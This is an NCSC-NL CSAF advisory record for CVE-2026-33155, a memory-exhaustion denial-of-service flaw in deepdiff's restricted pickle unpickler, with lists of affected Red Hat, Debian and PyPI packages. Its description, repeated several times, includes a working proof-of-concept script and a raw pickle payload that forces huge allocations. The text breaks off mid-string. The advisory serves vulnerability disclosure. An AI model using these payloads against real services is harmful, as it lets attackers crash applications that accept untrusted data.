{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-33155", "tracking": { "current_release_date": "2026-03-27T07:59:45.096922Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-33155", "initial_release_date": "2026-03-18T20:44:18.838206Z", "revision_history": [ { "date": "2026-03-18T20:44:18.838206Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-18T20:44:29.750842Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-19T11:35:51.161493Z", "number": "3", "summary": "NCSC Score updated." }, { "date": "2026-03-19T11:39:56.540564Z", "number": "4", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-19T11:40:04.457697Z", "number": "5", "summary": "NCSC Score updated." }, { "date": "2026-03-20T20:38:41.989355Z", "number": "6", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-03-20T20:38:44.390472Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-03-20T20:42:02.603357Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (39).| Product Identifiers created (39).| Products created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-03-20T21:25:21.045810Z", "number": "9", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-20T21:25:22.987763Z", "number": "10", "summary": "NCSC Score updated." }, { "date": "2026-03-20T21:41:23.685891Z", "number": "11", "summary": "References created (3).| References removed (2)." }, { "date": "2026-03-21T12:42:48.464534Z", "number": "12", "summary": "Source created.| CVE status created. (valid)| Description created for source.| Products created (2)." }, { "date": "2026-03-21T12:42:50.976734Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-03-21T15:23:14.648804Z", "number": "14", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-22T04:32:54.357373Z", "number": "15", "summary": "NCSC Score updated." }, { "date": "2026-03-23T12:30:03.086542Z", "number": "16", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (21).| Product Identifiers created (2).| Product Remediations created (21).| References created (4).| CWES updated (1).| Vendor_assessment created." }, { "date": "2026-03-23T12:30:12.711617Z", "number": "17", "summary": "NCSC Score updated." }, { "date": "2026-03-24T20:44:37.919581Z", "number": "18", "summary": "Unknown change." }, { "date": "2026-03-24T20:44:39.961402Z", "number": "19", "summary": "NCSC Score updated." } ], "status": "interim", "version": "19" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/0", "product": { "name": "vers:rpm/0", "product_id": "CSAFPID-5474722", "product_identification_helper": { "cpe": "cpe:/a:redhat:pdrive_lightspeed:0" } } } ], "category": "product_name", "name": "Pen Drive Powered by Red Hat Lightspeed" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1439279", "product_identification_helper": { "cpe": "cpe:/a:redhat:openshift_ai" } } } ], "category": "product_name", "name": "Red Hat OpenShift AI (RHOAI)" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068100" } } ], "category": "product_name", "name": "odh-pipeline-runtime-datascience-cpu-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068103" } } ], "category": "product_name", "name": "odh-pipeline-runtime-minimal-cpu-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068105" } } ], "category": "product_name", "name": "odh-pipeline-runtime-pytorch-cuda-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5222767" } } ], "category": "product_name", "name": "odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068108" } } ], "category": "product_name", "name": "odh-pipeline-runtime-pytorch-rocm-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068110" } } ], "category": "product_name", "name": "odh-pipeline-runtime-tensorflow-cuda-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5155537" } } ], "category": "product_name", "name": "odh-pipeline-runtime-tensorflow-rocm-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068114" } } ], "category": "product_name", "name": "odh-workbench-codeserver-datascience-cpu-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068116" } } ], "category": "product_name", "name": "odh-workbench-jupyter-datascience-cpu-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068119" } } ], "category": "product_name", "name": "odh-workbench-jupyter-minimal-cpu-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068121" } } ], "category": "product_name", "name": "odh-workbench-jupyter-minimal-cuda-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068123" } } ], "category": "product_name", "name": "odh-workbench-jupyter-minimal-rocm-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068126" } } ], "category": "product_name", "name": "odh-workbench-jupyter-pytorch-cuda-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5222780" } } ], "category": "product_name", "name": "odh-workbench-jupyter-pytorch-llmcompressor-cuda-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068128" } } ], "category": "product_name", "name": "odh-workbench-jupyter-pytorch-rocm-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068131" } } ], "category": "product_name", "name": "odh-workbench-jupyter-tensorflow-cuda-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5155538" } } ], "category": "product_name", "name": "odh-workbench-jupyter-tensorflow-rocm-py312-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5068134" } } ], "category": "product_name", "name": "odh-workbench-jupyter-trustyai-cpu-py312-rhel9" } ], "category": "product_family", "name": "Red Hat OpenShift AI (RHOAI)" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5474723" } } ], "category": "product_name", "name": "pen-drive-scanner-rhel9" } ], "category": "product_family", "name": "Pen Drive Powered by Red Hat Lightspeed" } ], "category": "vendor", "name": "Red Hat" }, { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:deb/unknown", "product": { "name": "vers:deb/unknown", "product_id": "CSAFPID-5885304" } } ], "category": "product_name", "name": "deepdiff" } ], "category": "product_family", "name": "bookworm" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:deb/unknown", "product": { "name": "vers:deb/unknown", "product_id": "CSAFPID-5885305" } } ], "category": "product_name", "name": "deepdiff" } ], "category": "product_family", "name": "bullseye" } ], "category": "vendor", "name": "debian" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/5.0.0", "product": { "name": "vers:unknown/5.0.0", "product_id": "CSAFPID-3260181", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@5.0.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.0.1", "product": { "name": "vers:unknown/5.0.1", "product_id": "CSAFPID-3260182", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@5.0.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.0.2", "product": { "name": "vers:unknown/5.0.2", "product_id": "CSAFPID-3260183", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@5.0.2" } } }, { "category": "product_version_range", "name": "vers:unknown/5.2.0", "product": { "name": "vers:unknown/5.2.0", "product_id": "CSAFPID-3260184", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@5.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.2.1", "product": { "name": "vers:unknown/5.2.1", "product_id": "CSAFPID-3260185", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@5.2.1" } } }, { "category": "product_version_range", "name": "vers:unknown/5.2.2", "product": { "name": "vers:unknown/5.2.2", "product_id": "CSAFPID-3260186", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@5.2.2" } } }, { "category": "product_version_range", "name": "vers:unknown/5.2.3", "product": { "name": "vers:unknown/5.2.3", "product_id": "CSAFPID-3260187", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@5.2.3" } } }, { "category": "product_version_range", "name": "vers:unknown/5.3.0", "product": { "name": "vers:unknown/5.3.0", "product_id": "CSAFPID-3260188", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@5.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.5.0", "product": { "name": "vers:unknown/5.5.0", "product_id": "CSAFPID-3260189", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@5.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.6.0", "product": { "name": "vers:unknown/5.6.0", "product_id": "CSAFPID-3260190", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@5.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.7.0", "product": { "name": "vers:unknown/5.7.0", "product_id": "CSAFPID-3260191", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@5.7.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.8.0", "product": { "name": "vers:unknown/5.8.0", "product_id": "CSAFPID-3260192", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@5.8.0" } } }, { "category": "product_version_range", "name": "vers:unknown/5.8.1", "product": { "name": "vers:unknown/5.8.1", "product_id": "CSAFPID-3260193", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@5.8.1" } } }, { "category": "product_version_range", "name": "vers:unknown/6.2.1", "product": { "name": "vers:unknown/6.2.1", "product_id": "CSAFPID-3260194", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@6.2.1" } } }, { "category": "product_version_range", "name": "vers:unknown/6.2.2", "product": { "name": "vers:unknown/6.2.2", "product_id": "CSAFPID-3260195", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@6.2.2" } } }, { "category": "product_version_range", "name": "vers:unknown/6.2.3", "product": { "name": "vers:unknown/6.2.3", "product_id": "CSAFPID-3260196", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@6.2.3" } } }, { "category": "product_version_range", "name": "vers:unknown/6.3.0", "product": { "name": "vers:unknown/6.3.0", "product_id": "CSAFPID-3260197", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@6.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/6.3.1", "product": { "name": "vers:unknown/6.3.1", "product_id": "CSAFPID-3260198", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@6.3.1" } } }, { "category": "product_version_range", "name": "vers:unknown/6.4.0", "product": { "name": "vers:unknown/6.4.0", "product_id": "CSAFPID-3260199", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@6.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/6.4.1", "product": { "name": "vers:unknown/6.4.1", "product_id": "CSAFPID-3260200", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@6.4.1" } } }, { "category": "product_version_range", "name": "vers:unknown/6.5.0", "product": { "name": "vers:unknown/6.5.0", "product_id": "CSAFPID-3260201", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@6.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/6.6.0", "product": { "name": "vers:unknown/6.6.0", "product_id": "CSAFPID-3260202", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@6.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/6.6.1", "product": { "name": "vers:unknown/6.6.1", "product_id": "CSAFPID-3260203", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@6.6.1" } } }, { "category": "product_version_range", "name": "vers:unknown/6.7.0", "product": { "name": "vers:unknown/6.7.0", "product_id": "CSAFPID-3260204", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@6.7.0" } } }, { "category": "product_version_range", "name": "vers:unknown/6.7.1", "product": { "name": "vers:unknown/6.7.1", "product_id": "CSAFPID-3260205", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@6.7.1" } } }, { "category": "product_version_range", "name": "vers:unknown/7.0.0", "product": { "name": "vers:unknown/7.0.0", "product_id": "CSAFPID-3260206", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@7.0.0" } } }, { "category": "product_version_range", "name": "vers:unknown/7.0.1", "product": { "name": "vers:unknown/7.0.1", "product_id": "CSAFPID-3260207", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@7.0.1" } } }, { "category": "product_version_range", "name": "vers:unknown/8.0.0", "product": { "name": "vers:unknown/8.0.0", "product_id": "CSAFPID-3260208", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@8.0.0" } } }, { "category": "product_version_range", "name": "vers:unknown/8.0.1", "product": { "name": "vers:unknown/8.0.1", "product_id": "CSAFPID-3260209", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@8.0.1" } } }, { "category": "product_version_range", "name": "vers:unknown/8.1.0", "product": { "name": "vers:unknown/8.1.0", "product_id": "CSAFPID-3260210", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@8.1.0" } } }, { "category": "product_version_range", "name": "vers:unknown/8.1.1", "product": { "name": "vers:unknown/8.1.1", "product_id": "CSAFPID-3260211", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@8.1.1" } } }, { "category": "product_version_range", "name": "vers:unknown/8.2.0", "product": { "name": "vers:unknown/8.2.0", "product_id": "CSAFPID-3260212", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@8.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/8.3.0", "product": { "name": "vers:unknown/8.3.0", "product_id": "CSAFPID-3260213", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@8.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/8.4.0", "product": { "name": "vers:unknown/8.4.0", "product_id": "CSAFPID-3260214", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@8.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/8.4.1", "product": { "name": "vers:unknown/8.4.1", "product_id": "CSAFPID-3260215", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@8.4.1" } } }, { "category": "product_version_range", "name": "vers:unknown/8.4.2", "product": { "name": "vers:unknown/8.4.2", "product_id": "CSAFPID-3260216", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@8.4.2" } } }, { "category": "product_version_range", "name": "vers:unknown/8.5.0", "product": { "name": "vers:unknown/8.5.0", "product_id": "CSAFPID-3260217", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@8.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/8.6.0", "product": { "name": "vers:unknown/8.6.0", "product_id": "CSAFPID-3100628", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@8.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/8.6.1", "product": { "name": "vers:unknown/8.6.1", "product_id": "CSAFPID-5876069", "product_identification_helper": { "purl": "pkg:pypi/deepdiff@8.6.1" } } }, { "category": "product_version_range", "name": "vers:unknown/>=5.0.0|<8.6.2", "product": { "name": "vers:unknown/>=5.0.0|<8.6.2", "product_id": "CSAFPID-5875864" } } ], "category": "product_name", "name": "deepdiff" } ], "category": "vendor", "name": "seperman" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-33155", "cwe": { "id": "CWE-502", "name": "Deserialization of Untrusted Data" }, "notes": [ { "category": "description", "text": "### Summary\n\nThe pickle unpickler `_RestrictedUnpickler` validates which classes can be loaded but does not limit their constructor arguments. A few of the types in `SAFE_TO_IMPORT` have constructors that allocate memory proportional to their input (`builtins.bytes`, `builtins.list`, `builtins.range`). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call `pickle_load` with untrusted data.\n\n### Details\n\nCVE-2025-58367 hardened the delta class against pollution and remote code execution by converting `SAFE_TO_IMPORT` to a `frozenset` and blocking traversal. `_RestrictedUnpickler.find_class` only gates which classes can be loaded. It doesn't intercept `REDUCE` opcodes or validate what is passed to constructors.\n\nIt can be exploited in 2 ways.\n\n**1 - During `pickle_load`**\n\nA pickle that calls `bytes(N)` using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override `load_reduce` so any allowed class can be called.\n\n```\nGLOBAL builtins.bytes (passes find_class check — serialization.py:353)\nINT 10000000000 (10 billion)\nTUPLE + REDUCE → bytes(10**10) → allocates ~9.3 GB\n```\n\n**2 - During delta application**\n\nA valid diff dict that first sets a value to a large int via `values_changed`, then converts it to bytes via `type_changes`. It works because `_do_values_changed()` runs before `_do_type_changes()` in `Delta.add()` in `delta.py` line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls `new_type(current_old_value)` at `delta.py` line 576 with no size guard.\n\n### PoC\n\nThe script uses Python's `resource` module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change `10**8` to `10**10` for the full 9.3 GB allocation.\n\n```python\nimport resource\nimport sys\n\ndef limit_memory(maxsize_mb):\n \"\"\"Cap virtual memory for this process.\"\"\"\n soft, hard = resource.getrlimit(resource.RLIMIT_AS)\n maxsize_bytes = maxsize_mb * 1024 * 1024\n try:\n resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))\n print(f\"[*] Memory limit set to {maxsize_mb} MB\")\n except ValueError:\n print(\"[!] Failed to set memory limit.\")\n sys.exit(1)\n\n# Load heavy imports before enforcing the limit\nfrom deepdiff import Delta\nfrom deepdiff.serialization import pickle_dump, pickle_load\n\nlimit_memory(1024)\n\n# --- Delta application path ---\npayload_dict = {\n 'values_changed': {\"root['x']\": {'new_value': 10**8}},\n 'type_changes': {\"root['x']\": {'new_type': bytes}},\n}\n\npayload1 = pickle_dump(payload_dict)\nprint(f\"Payload size: {len(payload1)} bytes\")\n\ntarget = {'x': 'anything'}\ntry:\n result = target + Delta(payload1)\n print(f\"Allocated: {len(result['x']) // 1024 // 1024} MB\")\n print(f\"Amplification: {len(result['x']) // len(payload1)}x\")\nexcept MemoryError:\n print(\"[!] MemoryError — payload tried to allocate too much\")\n\n# --- Raw pickle path ---\npayload2 = (\n b\"(dp0\\n\"\n b\"S'_'\\n\"\n b\"cbuiltins\\nbytes\\n\"\n b\"(I100000000\\n\"\n b\"tR\"\n b\"s.\"\n)\n\nprint(f\"Payload size: {len(payload2)} bytes\")\ntry:\n result2 = pickle_load(payload2)\n print(f\"Allocated: {len(result2['_']) // 1024 // 1024} MB\")\nexcept MemoryError:\n print(\"[!] MemoryError — payload tried to allocate too much\")\n```\n\nOutput:\n```\n[*] Memory limit set to 1024 MB\nPayload size: 123 bytes\nAllocated: 95 MB\nAmplification: 813008x\nPayload size: 42 bytes\nAllocated: 95 MB\n```\n\n### Impact\n\nDenial of service. Any application that deserializes delta objects or calls `pickle_load` with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.\n\nThe amplification is large. 800,000x for delta and 2,000,000x for raw pickle.\n\nImpacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.", "title": "github - https://github.com/advisories/GHSA-54jj-px8x-5w5q" }, { "category": "description", "text": "### Summary\n\nThe pickle unpickler `_RestrictedUnpickler` validates which classes can be loaded but does not limit their constructor arguments. A few of the types in `SAFE_TO_IMPORT` have constructors that allocate memory proportional to their input (`builtins.bytes`, `builtins.list`, `builtins.range`). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call `pickle_load` with untrusted data.\n\n### Details\n\nCVE-2025-58367 hardened the delta class against pollution and remote code execution by converting `SAFE_TO_IMPORT` to a `frozenset` and blocking traversal. `_RestrictedUnpickler.find_class` only gates which classes can be loaded. It doesn't intercept `REDUCE` opcodes or validate what is passed to constructors.\n\nIt can be exploited in 2 ways.\n\n**1 - During `pickle_load`**\n\nA pickle that calls `bytes(N)` using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override `load_reduce` so any allowed class can be called.\n\n```\nGLOBAL builtins.bytes (passes find_class check — serialization.py:353)\nINT 10000000000 (10 billion)\nTUPLE + REDUCE → bytes(10**10) → allocates ~9.3 GB\n```\n\n**2 - During delta application**\n\nA valid diff dict that first sets a value to a large int via `values_changed`, then converts it to bytes via `type_changes`. It works because `_do_values_changed()` runs before `_do_type_changes()` in `Delta.add()` in `delta.py` line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls `new_type(current_old_value)` at `delta.py` line 576 with no size guard.\n\n### PoC\n\nThe script uses Python's `resource` module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change `10**8` to `10**10` for the full 9.3 GB allocation.\n\n```python\nimport resource\nimport sys\n\ndef limit_memory(maxsize_mb):\n \"\"\"Cap virtual memory for this process.\"\"\"\n soft, hard = resource.getrlimit(resource.RLIMIT_AS)\n maxsize_bytes = maxsize_mb * 1024 * 1024\n try:\n resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))\n print(f\"[*] Memory limit set to {maxsize_mb} MB\")\n except ValueError:\n print(\"[!] Failed to set memory limit.\")\n sys.exit(1)\n\n# Load heavy imports before enforcing the limit\nfrom deepdiff import Delta\nfrom deepdiff.serialization import pickle_dump, pickle_load\n\nlimit_memory(1024)\n\n# --- Delta application path ---\npayload_dict = {\n 'values_changed': {\"root['x']\": {'new_value': 10**8}},\n 'type_changes': {\"root['x']\": {'new_type': bytes}},\n}\n\npayload1 = pickle_dump(payload_dict)\nprint(f\"Payload size: {len(payload1)} bytes\")\n\ntarget = {'x': 'anything'}\ntry:\n result = target + Delta(payload1)\n print(f\"Allocated: {len(result['x']) // 1024 // 1024} MB\")\n print(f\"Amplification: {len(result['x']) // len(payload1)}x\")\nexcept MemoryError:\n print(\"[!] MemoryError — payload tried to allocate too much\")\n\n# --- Raw pickle path ---\npayload2 = (\n b\"(dp0\\n\"\n b\"S'_'\\n\"\n b\"cbuiltins\\nbytes\\n\"\n b\"(I100000000\\n\"\n b\"tR\"\n b\"s.\"\n)\n\nprint(f\"Payload size: {len(payload2)} bytes\")\ntry:\n result2 = pickle_load(payload2)\n print(f\"Allocated: {len(result2['_']) // 1024 // 1024} MB\")\nexcept MemoryError:\n print(\"[!] MemoryError — payload tried to allocate too much\")\n```\n\nOutput:\n```\n[*] Memory limit set to 1024 MB\nPayload size: 123 bytes\nAllocated: 95 MB\nAmplification: 813008x\nPayload size: 42 bytes\nAllocated: 95 MB\n```\n\n### Impact\n\nDenial of service. Any application that deserializes delta objects or calls `pickle_load` with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.\n\nThe amplification is large. 800,000x for delta and 2,000,000x for raw pickle.\n\nImpacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.", "title": "github - https://api.github.com/advisories/GHSA-54jj-px8x-5w5q" }, { "category": "description", "text": "DeepDiff is a project focused on Deep Difference and search of any Python data. From version 5.0.0 to before version 8.6.2, the pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data. This issue has been patched in version 8.6.2.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33155.json" }, { "category": "description", "text": "### Summary\n\nThe pickle unpickler `_RestrictedUnpickler` validates which classes can be loaded but does not limit their constructor arguments. A few of the types in `SAFE_TO_IMPORT` have constructors that allocate memory proportional to their input (`builtins.bytes`, `builtins.list`, `builtins.range`). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call `pickle_load` with untrusted data.\n\n### Details\n\nCVE-2025-58367 hardened the delta class against pollution and remote code execution by converting `SAFE_TO_IMPORT` to a `frozenset` and blocking traversal. `_RestrictedUnpickler.find_class` only gates which classes can be loaded. It doesn't intercept `REDUCE` opcodes or validate what is passed to constructors.\n\nIt can be exploited in 2 ways.\n\n**1 - During `pickle_load`**\n\nA pickle that calls `bytes(N)` using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override `load_reduce` so any allowed class can be called.\n\n```\nGLOBAL builtins.bytes (passes find_class check — serialization.py:353)\nINT 10000000000 (10 billion)\nTUPLE + REDUCE → bytes(10**10) → allocates ~9.3 GB\n```\n\n**2 - During delta application**\n\nA valid diff dict that first sets a value to a large int via `values_changed`, then converts it to bytes via `type_changes`. It works because `_do_values_changed()` runs before `_do_type_changes()` in `Delta.add()` in `delta.py` line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls `new_type(current_old_value)` at `delta.py` line 576 with no size guard.\n\n### PoC\n\nThe script uses Python's `resource` module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change `10**8` to `10**10` for the full 9.3 GB allocation.\n\n```python\nimport resource\nimport sys\n\ndef limit_memory(maxsize_mb):\n \"\"\"Cap virtual memory for this process.\"\"\"\n soft, hard = resource.getrlimit(resource.RLIMIT_AS)\n maxsize_bytes = maxsize_mb * 1024 * 1024\n try:\n resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))\n print(f\"[*] Memory limit set to {maxsize_mb} MB\")\n except ValueError:\n print(\"[!] Failed to set memory limit.\")\n sys.exit(1)\n\n# Load heavy imports before enforcing the limit\nfrom deepdiff import Delta\nfrom deepdiff.serialization import pickle_dump, pickle_load\n\nlimit_memory(1024)\n\n# --- Delta application path ---\npayload_dict = {\n 'values_changed': {\"root['x']\": {'new_value': 10**8}},\n 'type_changes': {\"root['x']\": {'new_type': bytes}},\n}\n\npayload1 = pickle_dump(payload_dict)\nprint(f\"Payload size: {len(payload1)} bytes\")\n\ntarget = {'x': 'anything'}\ntry:\n result = target + Delta(payload1)\n print(f\"Allocated: {len(result['x']) // 1024 // 1024} MB\")\n print(f\"Amplification: {len(result['x']) // len(payload1)}x\")\nexcept MemoryError:\n print(\"[!] MemoryError — payload tried to allocate too much\")\n\n# --- Raw pickle path ---\npayload2 = (\n b\"(dp0\\n\"\n b\"S'_'\\n\"\n b\"cbuiltins\\nbytes\\n\"\n b\"(I100000000\\n\"\n b\"tR\"\n b\"s.\"\n)\n\nprint(f\"Payload size: {len(payload2)} bytes\")\ntry:\n result2 = pickle_load(payload2)\n print(f\"Allocated: {len(result2['_']) // 1024 // 1024} MB\")\nexcept MemoryError:\n print(\"[!] MemoryError — payload tried to allocate too much\")\n```\n\nOutput:\n```\n[*] Memory limit set to 1024 MB\nPayload size: 123 bytes\nAllocated: 95 